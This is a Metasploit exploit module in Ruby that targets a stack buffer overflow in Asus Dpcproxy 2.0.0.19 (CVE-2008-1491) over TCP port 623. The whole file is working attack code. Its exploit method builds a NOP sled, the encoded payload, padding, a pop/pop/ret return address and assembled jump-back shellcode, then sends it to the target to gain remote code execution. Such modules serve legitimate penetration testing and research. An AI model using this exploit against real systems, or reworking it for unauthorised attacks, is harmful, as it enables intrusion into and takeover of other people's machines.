##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Asus Dpcproxy Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Asus Dpcroxy version 2.0.0.19.
          It should be vulnerable until version 2.0.0.24.
          Credit to Luigi Auriemma
        },
        'Author' => 'Jacopo Cervini',
        'References' => [
          [ 'CVE', '2008-1491' ],
          [ 'OSVDB', '43638' ],
          [ 'BID', '28394' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 400,
          'BadChars' => "\x07\x08\x0d\x0e\x0f\x7e\x7f\xff",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Asus Dpcroxy version 2.00.19 Universal', { 'Ret' => 0x0040273b } ], # p/p/r
        ],
        'Privileged' => true,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2008-03-21',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(623)])
  end

  def exploit
    connect

    sploit = make_nops(0x38a - payload.encoded.length) + payload.encoded + rand_text_english(6032)
    sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
    sploit << [target.ret].pack('V') + make_nops(8) + Metasm::Shellcode.assemble(Metasm::Ia32.new, "add bh,6 add bh,6 add bh,2 push ebx ret").encode_string # jmp back
    sploit << make_nops(50)

    print_status("Trying target #{target.name}...")
    sock.put(sploit)
    select(nil, nil, nil, 3) # =(

    handler
    disconnect
  end
end